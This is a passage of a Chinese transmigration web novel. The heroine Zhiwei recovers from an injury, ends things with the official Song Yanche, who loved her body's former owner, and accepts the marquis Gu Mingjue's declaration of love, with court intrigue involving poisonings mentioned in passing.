隔了两天红叶便又来了。 彼时的知微正躺在外头的美人榻上,身上盖着薄毯,因为她受伤,高氏早早的命人烧了地龙,好叫她换药方便。 翠儿在一旁的安静的练着大字,时不时的看姐姐一眼,并未发出声响。 月痕坐在榻旁,捧着本话本子,知微边看,微一点头,她便翻过一页。 榻旁的茶几上,花影准备了不少的糕点干果,花影正在煮热红枣桂圆牛奶,她用小镊子捏了一块老红糖进去,小心的搅动着,不多时,甜香的味道便飘了出来。 红叶来的时间刚刚好,一进去满屋飘香,虽然还是能闻到淡淡的药香,但是并不难闻,一个浓烈,一个淡雅,两种味道掺杂在一起,竟然有些适配。 就像两个人,一个粗鄙一个乖顺,可若是生活在一处,二人却能过出更多的滋味来。 知微已经下地走动了,见红叶一来,忙去牵姐姐的手。 红叶带着十三一起过来的,顾铭珏自己过不来,心里总是惦记,这不,还不相信红叶,非得叫十三跟着一同来瞧瞧。 今日正好十月初一,天气越来越冷了,这一进十月,便有些冬日的味道了。 北风呼啸,总叫人觉得一日比一日冷了些。 红叶脱掉了披风,佯装生气的看着她,“我又不是外人,你伤还未愈躺着便是,下地作甚。” 知微嘿嘿的笑着,“我这不是躺的久了吗,叔公说我可以走动走动,不牵扯到伤口就成,这一连躺了几日了,骨头都要酥掉了。” 红叶拍了拍她的手,扶着她躺下。 十三见着知微,心疼的眼圈都红了,知微忙去安抚,“我这不没事了,瞧你哭什么,不是说刚出去做任务回来?我瞧着怎么又瘦了些呢,顾铭珏不叫你用膳啊?” 这边翠儿见红叶脸上也是疲累,忙叫人搬了把躺椅过来,叫她也歇歇。 红叶捏了捏翠儿的小脸,道,“翠儿愈发的懂事了,快去,叫厨房给姐姐煮碗面来,折腾了一上午了,还未用饭呢。” 翠儿睁大眼睛,也来不及问缘由,忙不迭的应了声好便拉着十三一同去了小厨房。 十三姐姐也瘦了,她还得做一些十三姐姐爱吃的。 月痕递了杯红枣牛奶过去,烫烫的,红叶一口气下了肚,才感觉浑身舒缓了一些,月痕再递第二杯,她却摆摆手,一会用膳吧,给我来杯浓茶就好。 待她躺下,花影也给她拿来个毯子盖上,知微看着她憔悴的面容,才问出了心中的疑问。 红叶叹了口气,“这几日不光我忙,整个京里都忙,郑国公牵连出的一串人来,我啊,在忙着吃下他们的产业呢,全是赚钱的买卖,忙点我也是愿意的。” 知微了然的点头,赚钱的事情,再忙她也是愿意的。 知微特意嘱咐过红叶她受伤的事情不要告诉念秦,怕念秦着急再动了胎气,崔文远自是也没敢说的,所以到现在念秦并不知知微受伤了。 红叶伸手揉了揉她的头,道,“辣椒的菜品这两日也陆续推出去,我打算将别苑开完全国各地去,等京都的事情稳定了,便去考察,到时候啊,咱们可就真发了。” 知微听到去考察,那一双眼睛睁的大大的,道,“我也想去,姐姐可以带着我去吗?” 红叶笑着摇摇头,故意逗她,“目前是不行,不过。” “不过等你伤好了便可以,我先差人去考察,自己一时半会也是去不了的,毕竟,陛下那个身体怕是,不好了。” 知微疑惑不解,红叶小声道,“陛下中毒了,皇后下的,你那个准姐夫,八成是下一任。” 红叶没说全,但是知微却是听懂了,下一任皇帝。 那她姐姐就是,皇后了?嗯…… 好厉害啊,但是,姐姐和养兄,可就真没有机会了…… 知微眨巴眨巴眼睛,比如说老皇帝啥时候嗝屁这种问题她没敢问。 正好翠儿带着丫鬟进来了,一大碗的热汤面,几个知微腌的小菜,并两个热菜。 十三在小厨房已经迫不及待开动了,她刚回京便被顾铭珏给支来了,确实饿的很了。 厢房内,红叶闻着香味,坐起来道,“还得是你这里的饭菜香。” 知微笑着道:“姐姐多吃点,腌菜还有好多呢,姐姐走时拿一些,上次我娘还给顾铭珏带了好多呢。” 不自觉提到了顾铭珏,知微咬了咬唇,没在继续说话了。 红叶接过翠儿递过来的筷子,抬眸看了知微一眼扬了扬唇角,这孩子,有戏啊这是。 于是红叶埋头吃面,边吃边道,“还得谢谢你姐呢,神医去给老太太看了病,说也没什么大不了的,都七十多的人了,糊涂是正常的,平日里少管些闲事少操劳还能多活两年,没什么大事。只是前阵子闹的亏了精气,只能躺在床好好将养着,还是老了啊。” “珏哥儿自那日被我给揪回去之后便老实多了,休养了几日,今日才又进了宫,他身体一向好,也不用担心他会有什么后遗症,他是受惯了伤的,皮糙肉厚的。” 知微脸颊有些发热,低着头嗯了一声,丝毫没有看到翠儿和红叶如出一辙低头偷笑的脸。 半月后,知微终于被爹娘允许出院子活动了。 已经立冬了,日头虽好,天气却是冷的,娘亲也只允许她出门走走,并不叫走远了。 说起来也是巧的很。 断臂的陈侍卫身体刚好一些便打听那日救他一命的贵女,这一打听便打听到冯三这里了。 冯三道,“那是咱们沈大人府上的二姑娘,我熟,正好我姐姐听说二姑娘受伤了焦急的食不下咽的,这几日都闹着要去探望,陈兄你和嫂子便同我们一起去吧,已经半个多月了,二姑娘的身体想必也已经好了许多了。” 两家一拍即合,冯三向侯爷告了假,顾铭珏并未说什么,只是颇有些意味深长看了他半晌。 冯三摸了摸脑袋,“爷您放心,小的见了二姑娘肯定替您美言几句。” 顾铭珏却黑了脸,黄成在后头踢了他一脚,道:“侯爷已经近些日子劳累,也担心姑娘,吃不下睡不着的,人都瘦了脱相了。” 冯三支支吾吾的看了看顾铭珏那张精神抖擞的脸,半晌才明白过来,哎了一声道属下知道怎么说了,顾铭珏这才嗯了一声叫他滚了。 冯三陪着姐姐,陈氏夫妻一起上门,那酿酒的陈娘子抱了一坛子的醪糟,他们也都知道沈府定然什么东西都不缺,还是带了自家的做的东西上门了。 陈娘子自己做的醪糟和腌的酸菜,并两坛家里最好的酒便上门了。 冯三姐弟也是大包小包的,都是一早便准备下来的。 彼时知微刚走出院子,便听下人说冯三带着姐姐和断臂的夫妻上门了。 知微猜想应该是那名断臂的侍卫,便在娘亲的陪同下一起去了前厅。 果不其然,果然是陈侍卫夫妻。 陈家娘子一眼便认出了知微便是曾买她酒的小姐,激动的语无伦次的,夫妻二人当即便跪下磕了头。 知微自是不能受这么大的礼的,侧身躲过,一阵寒暄之后几人才坐了下来。 知微也感叹,没想到同陈侍卫夫妻还能有此等的缘分,她看陈侍卫虽断了臂,状态都挺好的,便问了一嘴如今可还能回去上值了? 陈侍卫倒是有些不好意思起来,挠了挠头满脸的憨厚,“四皇子问我是找个闲差还是要补偿,我想我就一只胳膊了,便没不回去给兄弟们添乱,便要了补偿回家来陪我娘子卖酒,总归是能帮到我家娘子的。” 知微见这人一句一个我家娘子的,也笑了起来。 “如此也好,你夫妻二人感情好,便什么样的磨难都不怕了。” 众人说笑,知微又问了冯姐姐的生意如何,她见冯三一直在偷瞄花影,没忍住打趣了几句,“冯侍卫很热啊,怎么一张脸红的跟个虾子似的,怕是要熟了吧。” 冯姐姐白了自己弟弟一眼,又看看花影,心里满意的不得了,哎吆要是能将人给娶回来,她怕是做梦都要笑醒的。 花影也捂着嘴偷笑,她倒是没什么不好意思的,男大当婚女大当嫁,小姐也偷偷的问过她觉得冯侍卫如何,她当时怎么说的来着,挺好的。 知微问她可愿意嫁他,花影只思索了片刻便道,他若求娶,她便嫁。 知微笑着应好,到时候她必给她准备丰厚的嫁妆,风风光光的将花影给嫁出去。 这不,冯三的机会来了。 冯姐姐一听知微这话里有话,心里也是高兴的,她笑着道,“二姑娘,我这弟弟是个实心眼的,脾气倔的很,也执拗,认定了一件事撞了南墙也不回头,看中了的姑娘也是,等到明年开春,我便带着媒人来同他认定的姑娘求亲,姑娘觉得可行。” 知微笑着看了花影一眼,见花影也羞红了脸,眨眨眼道:“那必然是可行的,到时候姐姐叫上我一起啊。” 花影跺了跺脚,小声道了句,姑娘~ 知微笑着转移了话题,又聊了几句几人便告辞了,毕竟知微还需要休息。 只是冯三想起侯爷的嘱托,没忍住在最后支支吾吾道:“二姑娘,我们侯爷最近很是操劳,也担心您的伤势,有些食不下咽的,今日听说我来府上,好生叮嘱叫我看看您的伤势如何了,那一堆的礼品里头,不少都是侯爷准备的补品。” 冯三眨了眨眼,又道,“不过您放心,我们侯爷伤势已经好的差不多了,侯爷皮糙肉厚的,除了有些憔悴,别的倒没什么的。” 说完还小心的看了眼知微有些微微变了的脸色,又偷瞄了两眼花影,这才转身跑了。 只是跑到姐姐身边的时候,被姐姐拿拳头揍了两下,叫他胡扯,她昨日还见侯爷生龙活虎的,怎么到他嘴里就憔悴了,这个混子可真是! 管家办事一向妥帖,早就往几人的马车上备足了礼,有来有往的,又说了几句吉祥话才恭敬的送几人离开。 知微带着心事睡了个午睡,顾铭珏瘦脱相了?没休息好?不能吧,侯府那么多下人还伺候不了他一个主子了?不可能,肯定不可能。 迷迷糊糊睡了一会,起来便又来了人。 叶文章不知从哪得到了知微受伤的消息,急急忙忙的跑来了,半晌徘徊在府门前不敢进来,差点又被归家的高淮阳给打了一顿。 还是沈知蕴回府给碰上了,知道知微曾去庄子上见过他两次,这才叫人给放了进来。 叶文章提着个破袋子,手都冻的发紫了也没有放开。 进府后见知微确实无事,心里松了口气,这才将袋子打开,支支吾吾的,说是自己猎的山鸡,带来给知微补身子的。 知微看着他干裂的嘴唇和冻的发紫的手,心下不忍,叫月痕收到厨房去晚上炖了她喝,叶文章终于松了口气,这才捧起热茶喝了一口。 只是好半晌,他都看着知微欲言又止的。 知微看着他,问道:“兄长今日可是要同我说些什么?” 叶文章点头,将茶盏放下,道:“我想回去了,年前应该能到家,我,我想将咱爹娘的坟给修修,再找个活计,我。” 知微看着他却笑了,她点点头,“嗯,好,兄长先回去,等来年我也是要回去的,到时候,兄长可得将家里打扫的干干净净的才好。” 叶文章一双眼睛登时便激动的红了,忙不迭点头,好好。 知微又问:“这两日便走吗?” 叶文章点头,有些不好意思,“找了个南下的商队,路过临县附近,我多给些银钱,跟他们一路回去,也好有个照应。” 知微点头,也有些欣慰,叶家这个没头脑的养兄终于也长了些脑子了。 花影取来一个包裹,知微递给了叶文章,叶文章有些不敢拿,知微却道:“兄长不必推辞,这一路山高水远的,多备些东西,里头有些金疮药还有些应急的药丸,都贴了便签,算是有备无患,还有些碎银,我想着兄长回去好好修缮下咱爹娘的坟,还有咱家的大门,合该好好修修了,兄长觉得可行?” 叶文章鼻头一酸,接过包裹哎了两声,起身便要走了。 知微看他有些苍凉的背影鼻尖一酸,朝他喊道:“穿的厚实些,怎么穿的这样单薄,叫爹娘见了担心。” 叶文章在前头哎了一声,摆了摆手,他一张脸泪如雨下,愣是没敢回头。 管家差了马车送他回去,车厢内,整齐的放着一身厚实的袄子,马夫笑着道,这是咱们大小姐叫准备的,那个包袱也是,公子赶紧换上,暖和的很。 驾!咱们这便回去了! 第113章 晚膳时,沈爹看着小女儿是欲言又止的。给知微看的莫名其妙 晚膳时,沈爹看着小女儿是欲言又止的。 给知微看的莫名其妙的,赶紧放下筷子道,“爹,您这是做了什么对不起女儿的事了?您说吧,只要您不是又领了个亲女儿回来,女儿应该是能受的住。” 沈父一噎,立马收到了妻子的一个眼刀子,高氏接着嗔了知微一眼,再胡说耳朵不用要了。 沈爹咳嗽两声,嘴巴张了又合有些不知怎么开口,却听沈知晖道,“爹应该是想叫你劝劝宋兄,宋兄他。” 知微看过去,沈知晖看了沈父一眼,见亲爹神色并无异样接着道,“这几日宋兄同安定侯闹的厉害,剑拔弩张的,陛下病重,太子监国,顾侯算是太子很大的助力,这宋兄,也是太子亲近之人,眼看太子要提他做大理寺少卿,这就,再闹下去,就,就有些不太好看了……” 安若瑾,现太子,原三皇子,沈知蕴未婚夫。 沈父其实是想说,自从看出知微的心意,他们夫妻不光是感激安定侯,也算是接受了他,这事儿上顾铭珏明显是给小宋留了余地的,但是小宋年轻气盛,他怕说重了再叫小宋觉得丢了面子,就有些得不偿失了。 他是看中这孩子的,也确实有意培养。 小女儿去劝解,也将二人感情一事说开了,兴许能行。 哎,也怪他从前一意孤行的撮合二人啊。 却听沈知蕴啪的一声放下筷子,淡淡看了亲爹和兄长一眼,直接道,“两个男人针锋相对,怎的就将源头推到女子身上了,怎么,他们二位是第一天当官?因为女子争风吃醋的就敢在朝堂上对立起来?” 几个小的低头扒饭,听不见听不见,没一个敢抬头的。 沈爹对着大女儿叹了口气,这丫头还没做皇后呢,气场就两米多高了,无奈道,“自然不是,小宋羽翼未丰,这时候对上安定侯,总是要吃亏的。这几日小宋是明显的有些躁动,小顾倒也没拿他怎么样,应也是没将他放在眼里,二人你来我往的过招,可是我总是怕小宋这孩子吃亏的,这孩子历练历练可堪大用,爹是不想在此时毁了他。” 沈知蕴倒是没再多说,只模棱两可的说了一句,“爹您做的已经很多了,还得他自己清醒过来才行。” 沈父只是摇了摇头,继续用膳,不再言语此事。 晚膳后,知微抿着嘴,偷偷的看送她回院子的姐姐。 沈知蕴帮她拉紧了身上的披风,叫她不必多想,这事情是宋言澈自己的问题,与旁人无关。 知微抿了抿唇,哦了一声,心里却是有些想去劝劝他的,总不能叫他一时冲动,将仕途毁了。 姐俩回了知微院子,沈知蕴挥挥手叫丫鬟都出去了。 翠儿见沈知蕴也在,踌躇了半天愣是没敢进去,已经回了自己院子了。 姐俩一人一杯温热的奶茶,地龙烧的热,知微捏了瓣桔子放在嘴里,眼睛睁的大大的等着姐姐说话。 沈知蕴看着她有些懵逼的模样无奈的笑了,又帮她剥了个桔子才道,“宋言澈是聪明反被聪明误,他是有些能耐的,但是顾铭珏一个大他近十岁的老狐狸,坑他不是易如反掌?” 看知微桔子也不吃了,张着嘴巴听的云里雾里的,沈知蕴摸了摸她的头继续道:“前次顾铭珏又要娶亲的事你可还记得?说是老祖宗差人相看的崔侯府那位二房嫡出四姑娘。” 知微眨巴着眼睛点点头,但还是有些莫不着头脑,沈*知蕴摇了摇头,笑道:“这个宋言澈,要不我说他有能耐呢,暗地里使了手段叫侯府那位老太太迷了心智,又是梦魇又是胡说八道的,总之是逼着孙儿娶亲,顾铭珏孝顺,但他也是自负惯了,竟着了他的道,被逼着差点娶了,后来底下有人发现了那崔四姑娘同旁人有染这才有了怀疑了,不过我想那日他想必也是见了你的,受了些刺激头脑清醒了许多,这才发现了里头的蹊跷。” “顾铭珏也是个狠的,用崔四姑娘这事硬逼着老太太清醒,同时也彻查了侯府,只是那时候宋言澈早就销了人证跟物证,顾铭珏无从查处罢了。” 沈知蕴撇了撇嘴继续道,“前些时日叔公帮着老太太看病时,是看出了老太太中毒一事的,只是我提前于叔公说了,叔公未提罢了,而今宋言澈啊,便是被顾铭珏还之彼身了,宋言澈能找到的毒药,他顾铭珏自是轻易找到还能神不知鬼不觉的用到他身上去,所以啊,宋言澈近日愈发狂躁,精神有些不好,也沉不住气。” 知微这才恍然大悟,她抿着嘴,皱着眉头想了半晌,这,宋言澈还真的是,艺高人胆大,他才当官多久啊,就敢跟顾铭珏硬刚,她确实应该去劝劝了。再加上,感情上的一些事情二人总是得说清楚的好。 沈知蕴却看着妹妹的模样笑出了声,意味深长道,“你,不会觉得顾铭珏做的过分吗?” 知微愣了一下,嘟着嘴巴想了半晌道,“说实话,若我是顾铭珏,此事发生在我身上,那我可能……嗯,做的更狠。” 她撅了撅嘴巴,又开始剥桔子,“所以我觉得,他做的并不算过分吧。” 说完之后她剥桔子的手有所停顿,“但是,姐姐,我是不能眼睁睁的看着宋言澈继续这样下去的,总得叫他清醒过来,而且……二人真的也算是因我起的仇怨,我,是得去劝劝。” 沈知蕴挑眉,“你怎么劝?你一日不成亲他们二人便斗上一日,不然,你选一个,那个自然偃旗息鼓。” 知微嘟嘟着嘴巴,选一个? 晃了晃脑袋,说到选一个的时候,她想到的人自然是顾铭珏…… 可是,想着他的庶子庶女,想着那个老太太,算了,她,嗯……大不了先表明心意,缓两年再成亲也不是不行嘛。 沈知蕴看着妹妹纠结的模样,终于叹了口气,行吧她知道小妹选的谁了。 “好了,不若你直接同宋言澈明说你爱上顾铭珏了,他一准死心。” 知微咬了咬唇问道,“姐姐,你不是不愿意我同顾铭珏在一起吗?” 沈知蕴消的无奈,道:“嗯,姐姐现在也是不愿意的,可是,你喜欢吗?若是你喜欢,姐姐自然是相信你的。” 知微有些迟疑,“我也不知道,我想我是喜欢的,但是喜欢一个人不是能接受他的一切吗,可他那个祖母,我接受不了,我觉得若是有朝一日若是真的嫁给他,嫁过去之后若是她还敢惹我,我应该会忍不住给老太太弄死,亲手杀掉的那种。” 沈知蕴却是直接太笑了出来,她将手中的剩的桔子瓣直接塞到了小妹的嘴里,面上笑的极为开怀,对啊,小妹对那个老太太不满意的程度,即使嫁过去,又怎么会忍气吐声的,还掉了孩子?若真的因为老太太掉了孩子,知微能亲手将老太太给杀了,再将顾铭珏一刀阉了。 咱们沈家女,是有这个底气的,尤其是自己同安若瑾大婚之后! 成了,梦里的事情,应该已经改变了,不会发生的。 老顾啊,你再熬上一熬吧。 沈知蕴很满意的回了自己院子,知微却是翻来覆去的睡不着,她明日约宋言澈见面后,那颗心不会又忍不住的靠近他吧? 哎,到底身体不是自己原装的,她能够确定,自己每一次靠近宋言澈,都会不由自主的受到影响,她会觉得舒服,那是因为原身爱他,这颗心脏也是。 她之所以能确定,因为离开了宋言澈,她的脑子里多数是自己同顾铭珏在一起的画面,自己同他说话,也确实是更加随意一些的,那才是真的自己。 且,山洞时,她更是不由自主的表露了心意,也能清楚的感受到这颗心是属于自己了的,应不会再出现从前的情况了吧? 罢了,想这些没用,明日再说吧。 只是半夜里还是翻来覆去的,想着怎么拒绝人家,嗯……就说自己爱的是老顾?自己受了原身的影响对他有好感?嗯,成吧,明日先这么说。 她第二日明显的没睡足,挣扎着起床吃了个早膳,便吩咐月痕去叫人今日午时约宋大人一聚,地方便定在京中的一处普通的酒楼,稍作收拾知微便准备去了。 沈知蕴叫人取了白狐狸毛大氅来将小妹遮了个严实,她专门叫人定做来的,白狐狸毛搭配着金线绣的牡丹花,穿在知微身上果真好看,阳光下更显洁白无瑕熠熠生辉,高贵且温暖。 知微的身体还有些虚弱,但也好了很多了,她讨好的扯着姐姐的衣摆,沈知蕴挑挑眉,亲手帮她整理衣裳,道:“去吧,说清楚了也好,姐姐只愿意你做你自己,可以任性也可以肆意而为。” 知微点点头,抱了抱姐姐,因为已经想通了心事,也不再怕见了宋言澈会做出什么举动,心情虽还有些复杂,但更多的却还是高兴的。 马车行的慢,车夫知晓小姐的身体虽好了却也不敢行太快叫马车颠簸的,知微倒也不着急,隔着窗幔欣赏外头的街景,忽而便想起了去岁刚入京的情形,那时候,她是多么的卑微多么无助啊,只觉恍然如梦,这一年有余,可真是经历了太多的事情了。 不过还好,已经雨过天晴了,她有了爱她的亲人朋友,也清醒的知晓了自己的爱人,还有了几家铺子有了事业,她已经很知足了。 不多时便也到了,知微之所以选在此地,便是这地方离大理寺比较近。 宋言澈被调到大理寺了,这里方便一些。 她随意点了几道菜,便靠坐在窗子边等着了。 包厢不大,只有一张桌子,和一张供顾客稍作休息的榻。 好在靠着街道,窗户打开外面的景色一览无余。 她坐在三楼的包厢,视线更好一些,胡同里玩闹的孩童,闹市里吆喝着的商贩,还有河边三三两两游人,她都看的清清楚楚。 小二刚一上完菜,宋言澈便到了,应是急促而来,那张俊俏的脸上还带着明显的疲惫。 宋言澈知是知微约他自是十分惊喜,眼看快到时间,便跟上峰告了假便急匆匆过来了。 知微叫他坐下先用膳,她的手搭在自己心口上,那里很温暖,却不似从前那般激烈的跳动了。 果真,这颗心脏,是属于她的了。 宋言澈就这么定定的望着她,自她受伤后,近一月了,他们都没有再见过。 因为郑国公一案,他也忙的不可开交,忙里偷闲时也是想去沈府探望的,但是沈府的门禁因着最近的事情变的特别严,尤其是官员,沈大人是谁都不叫进的。 他想去,却没有一个合理的理由能叫他正大光明的登门拜访。 他只能通过沈知晖来打听知微的消息,但因为他迁至大理寺,同沈兄见面的时候也不多的。 他不免就会有些急躁,明明前次都快要成功了,也就差那一步而已,为什么!凭什么!都是因为安定侯!于是二人不免在公事上就会有些对上了。 知微抿了口茶,看着他明显憔悴了的面容直接道:“今日是爹爹叫我来的,他说,你今些日子有些躁动不安,跟顾铭珏一直针锋相对的,叫我来劝劝你。” 宋言澈回望着他,嘴巴张了又张,却是没有开口。 知微轻轻笑了笑,“如果是因为我的话,你大可不必如此,从前。” 她抿了抿唇角,还是继续道:“从前,我总是分不清对你的好感来自于哪里,是发自我自己的真心,还是受了,受了她的影响,因为跟你在一起时总是叫我莫名的觉得舒服,我有些分不清是为什么。” 月痕她们早已经出去了,包厢内只有他们二人。 知微叹了口气,只是这一下便叫宋言澈明白,知微要离他远去了。 知微直视着他的眼睛,正色道,“她爱你,这具身体,这颗心在接近的每一刻都会受到影响,我拥有她的记忆,拥有你们相处的点点滴滴,很多时候我也在想,这颗心对你的感情,是我对你的,还是她遗留下来的。” “现在我明白了,是她的,我不讨厌与你相处,但是我的性格,不允许我占了她的身体,再去抢了她的爱人,而你,我希望你能够清醒一些,你对我的感情,更多的是什么,她已经成了你的执念,刻在你的骨血里,叫你分不清我和她了。” 宋言澈只是看着她,眼眸深情且悲伤,知微闭了闭眼,她必须得说清楚,不能叫二人继续错下去。 “你从七品到如今的五品,仅仅用了不到两年的时间,前途一片光明,在这个时候,你务必收起你那尖利的獠牙,为了光宗耀祖也好,为了百姓也好,为了,为了当初你跟她的承诺也好,清醒一些,不要拿你的身家性命去同顾铭珏那个积蓄几代力量的侯府来争斗,可以吗?” 宋言澈只是定定的望着她,到最后,竟然轻轻的笑了出来,他眼眸猩红一片,面容渐渐有些扭曲起来,手死死的攥着衣袖,仿佛在极致隐忍着什么。 知微自是看到了。 她叹了口气,眉头紧紧皱在一起,她还是得说出来啊。 知微看着他一字一句道:“你没有发现吗?你对别人用的东西,现在被别人也用到了自己身上?” 只等宋言澈听清并反应过来,只觉得整个人像是被浇了一盆冷水一般,他呆愣愣的看着知微,在这一瞬间,他差点忘记了呼吸。 待到他完全清醒后,眼眸中的猩红已经退去,他轻轻扯了扯嘴角,好半晌才轻轻道,“是我不及他,叫老师和你担心了。” 知微见他终于变的正常了些,终于松了口气。 她再次抚上了心口,那里,也很正常了。 这颗心,是她的。 知微嗯了一声,看着窗外的街景,慢慢道,“我刚才说的,是真心的,我从异世而来,接收这具身体的时候,正是她被抢了去做妾的时候。” 她轻轻笑了笑,渐渐的眼泪便笑了出来,“我们那里,男女平等,是不会出现抢人的情况的,我还在上学呢,对这个陌生的世界一无所知,虽然接收了她的记忆,但是当时我睁开眼睛便是在被人抢了的马车上,记忆也是一点用处都没有的,只能自救,但是那时候,我确实还是能感觉到她的意识的。” 她深吸口气继续道, “后来我跟着顾铭珏入了京,很久之后还记得第一次见到你时,这颗心脏剧烈跳动,叫我整个人激动到差点背过气去,好半晌我才缓了回来,我就知道,她很爱你,很爱很爱。” “再后来,见到了叶文章,她的情绪一整个的外泄出来,她的那些委屈那些不甘,全部化作了质问和哭喊,直到哭晕过去……最后一次她情绪外露,便是那次在面馆了,我学着记忆里她的样子,给你做了一碗面,那一句宋哥哥,你要做个好官,是她留给你的最后一句话,再后来我也感受不到她任何外露的意识了,只有她爱你的心,我还是会受到影响,但是现在,我确定了我真正爱的人了,所以。” 知微轻轻的吐了一口气,将眼角的泪水擦净,一字一句的看着他道,“所以,宋言澈,你,要辜负你的知知吗?辜负,你们曾经的梦想?你曾在月下同她相拥而立说过的那句,知知,我会做一个为国为民的好官,到时候,你是我的妻子,我们定会白头到老……那时候的知知激动的看着你,一双澄澈的眸子里全都是你。” 听到知微的那句确定了真正爱的人,宋言澈忽的就慌了,他的呼吸渐渐有些粗重起来,他笑了,笑着笑着便掉下了泪来。 知微没再去看他,只是擦净了脸上的泪水,戴上了围帽,打开了门,最后,她只轻轻留下了一句,“宋大哥,别辜负了你自己,好不好……” 第114章 正文完结 第114章 正文完结 知微虽然同宋言澈说清了,但是心里也还是打鼓的,不知道宋言澈能不能醒悟过来,要是再执拗下去,哎,她爹可又要唉声叹气了。 她其实也是为宋言澈和原身可惜的,若是叶家兄嫂不整那一出,原身同他二人不早就顺理成章的成婚了! 也难为宋言澈没打死叶文章,之后还经常去看他,可见这人到底是心软到什么程度了。 她心里倒是彻彻底底的干净了,同人家讲明白了,自己也再不会去不受控制的抢原身的爱人。 嗯……只是她到现在还没吃午膳,有些饿了。 她这才刚走出几步,便看到了目光灼灼的望着她,还一脸受伤表情的顾铭珏。 知微:他妈的有点像被捉奸了是怎么回事! 花影和月痕二人对视,眼神你来我往的。 月痕:怎么办?要带着小姐跑吗? 花影抿着嘴坚定的摇摇头,不,要相信小姐可以搞的定! 知微:嗯……狗东西不是食不下咽吗!她怎么瞧着还胖了一些了! 她尽量叫自己看起来随意,轻轻的点头算打了招呼,便要下楼。 其实这也是她受伤之后第一次见这个家伙,她是带了些尴尬的,毕竟,那个在山洞里她是由着他亲了自己的,亲额头也是亲了,她从来都敢作敢当,绝不嘴硬。 但是吧,尴尬也是真的会尴尬,就……有点打脸,从前她可是信誓旦旦的保证自己不会爱上人家的。 顾铭珏却是不管不顾的走了过来,自然的牵起她的手,还怕会牵扯到她的伤口,动作很是轻柔。 知微很想说谢谢你的温柔但是我真的想先走了。 她并不动,却在抬眼看到他那一脸受伤了的表情之后叹息一声,好吧,她承认她心软了。 罢了,横竖都是一刀,索性眼睛一闭任由他牵着自己进了雅间。 这雅间比刚才那个就大了不是一些了,竟然分为里间和外间,知微挑眉,她觉得自己应该去找老板谈谈,给她那么小一个包间,瞧不起谁呢! 顾铭珏看出了她的疑问,忙安抚她,这里本就是侯府的产业,这个房间,一向是他专属的。 知微抬眸斜眯了他一眼,又哦了一声,脸上分明写的是,狗东西又监视我! 将手从他手里挣脱出来,一屁股坐了下来,表情有些不甚自然道,“侯爷找我何事?” 花影和月痕紧紧的站在小姐身后,盯着顾铭珏,如临大敌。 不过,二人心里是直打鼓的,她们看小姐的表情,也不像真生了气的样子啊。 顾铭珏坐到知微对面,包厢门打开,小二卡着时间上了一桌子的菜。 知微轻轻扫了一眼,嗯,都是她爱吃的。 她确实是饿了的,刚才光顾着说话去了,还没用膳呢。 顾铭珏轻声道,“外间为她二人还开了一桌,你想必也饿了,咱们先用膳。” 知微只思考了一瞬,知道有些事情确实需要摊开来说,扭扭捏捏也不是她的风格,便对花影和月痕道,“你二人也去用膳吧,这里不用伺候,不必担心,有他在,出不了什么事的。” 月痕有些迟疑,花影拽了拽花影的袖子,走吧,小姐心里有数的。 顾侯爷可是为了小姐连命都能不要的。 小姐同宋大人说了许多,跟顾侯应该也会有些了结的,她倒是估摸着二人应该会在一起,且就在今日。 知微心里想的是用完膳也劝劝顾铭珏,别再跟宋言澈对打了,要打二十年后打,你看到那时候谁能打的过谁。 顾铭珏帮她夹了块叉烧,叫她趁热吃。 知微挑眉,哦了一声,那我可真不客气了。 于是她便认真用起膳来,嗯,不错,这块烧鹅味道也好,油润润的,龙井虾仁清新,鸭掌软糯,酿豆腐醇香,接过大侯爷亲手扒的蟹,知微看了他两眼,手却是很自然的接过的,嗯,这蟹肉真鲜,果然不用自己动手扒的蟹最鲜美了。 待她吃饱喝足,顾铭珏也放下了筷子,下人将饭菜撤下,二人边喝茶边聊天。 知微看着他一脸温柔的模样,撇了撇嘴,尽量叫自己语气听起来没什么起伏,“我爹可是对宋言澈看中的很,你做的别太过分啊。” 果然她这话一出,顾铭珏周身的气压瞬时低了起来,她也知道他家那位祖母一向是男人的逆鳞,宋言澈敢动他祖母,他不要他的命就不错了。 顾铭珏冷笑一声,起身走进知微,垂眸看着她。 知微不自觉的吞了吐口水,这个狗东西,不会生气了吧,知微不甘示弱的同他对视,硬着头皮道,“确实是他先不对的,但是他也没折腾出什么事情来对不对,你,何必。” 顾铭珏冷笑一声,眸色更深。 他直接被她给气笑了。 他弯下了眼,挑眉看着她,“哦?我何必什么?你心疼他?” 知微看着他越来越近的脸,慌忙起身逃离,嘴里还不忘怼他,“我心疼个屁的心疼,你起开,我。” 她话还未说完,便被顾铭珏给扯到了自己怀里,下一瞬便被他按到了墙上,二人离的极近,因为知微有些挣扎,胸前的几缕发丝也纠缠在了一起。 顾铭珏的动作还是很轻柔,他轻轻的摩挲着她的唇瓣,神情是说不出的委屈,“我也没拿他怎么样,他先动手的,你还替他说话。” 知微被他说的有些心虚,也不敢去直视他的眼睛,眨巴着眼睛结结巴巴道,“也不是,我,我爹爹看中他,想培养培养的,陛下也看中,你差不多得了。” “你,我知道是他先动手的,也没说你不对,但是,但是你别,嗯……” 顾铭珏被她心虚的模样逗的笑出了声,低下头,轻咬着她的唇瓣,她感觉自己像是被狗啃了似的,忙伸手去推搡。 只是她这一推,他却顺势捉住了她的手,和他五指相扣,知微气鼓鼓的望着男人,狗东西,嘴唇肯定被他咬破了! 其实是没有的,男人怎么舍得呢。 他轻笑的低下了头,这一次他轻柔的吻上了她的唇瓣,撬开了她的贝齿,吻的极为温柔。 她的唇,绵软又甜蜜,像是棉花糖一般,叫他欲罢不能。 知微被他吻的头晕晕的,只是下意识的回应着,她甚至就没想过推开他。 因为心虚,她已经来不及思考别的事情了,待他放开,她气喘吁吁的趴在他怀里,心里已经有些气恼了,妈的狗东西,就会占她便宜。 “嗯,我听你的,别生气好不好,接下来,要谈下你我的问题了。” 他紧紧的盯着她的眼睛,表情真挚,一张老脸还有些可怜兮兮的,“我先带着冰人去府上求亲,不着急成婚,先定下来,可行?” 他轻轻的将她额前的碎发别到耳后,手指竟微微有些颤抖,他小心翼翼的看着她,生怕她说出什么拒绝的话来。 知微咬了咬唇,感受着他的气息,只觉脸上越来越热,她哼了一声将眼睛移向别处不敢去看他,脸颊红红道,“你,你去给我爹谈,我怎么知道爹娘同不同意。” 男人轻笑出声,嗯了一声,将她紧紧的抱在怀里,对这个答案心中满意的很,坏笑道,“若是他们不同意,我便将你抢了去,好不好。” 知微轻轻推搡着她表示不满,惯会胡扯。 男人不知想到了什么,却忽然放开了她,一脸郑重的看着她道,“知微,我心悦你。” 